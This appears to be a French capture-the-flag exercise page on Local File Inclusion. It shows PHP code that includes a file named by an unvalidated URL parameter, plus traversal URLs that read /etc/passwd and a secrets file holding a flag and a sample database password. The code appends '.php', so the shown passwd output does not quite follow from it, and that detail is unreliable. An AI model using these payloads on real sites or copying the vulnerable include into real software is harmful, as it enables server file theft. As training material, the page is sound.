Une application PHP charge des pages avec ce paramètre d'URL :
https://target.fr/index.php?page=contact
Le code PHP derrière :
<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>En naviguant vers :
https://target.fr/index.php?page=../../../etc/passwd
La réponse contient :
root:x:0:0:root:/root:/bin/bash ... www-data:x:33:33::/var/www/html:/usr/sbin/nologin
En allant plus loin avec :
https://target.fr/index.php?page=../config/secret
Vous obtenez :
FLAG=CSA{l0c4l_f1l3_1nclus10n}
DB_PASS=sup3r_s3cr3t_p4ssSoumettez le flag trouvé.
Local File Inclusion (LFI)
LFI permet de lire des fichiers arbitraires sur le serveur en manipulant les paramètres d'URL. ../ remonte d'un répertoire (path traversal). Sans validation, un attaquant peut lire :
Connectez-vous pour sauvegarder votre score.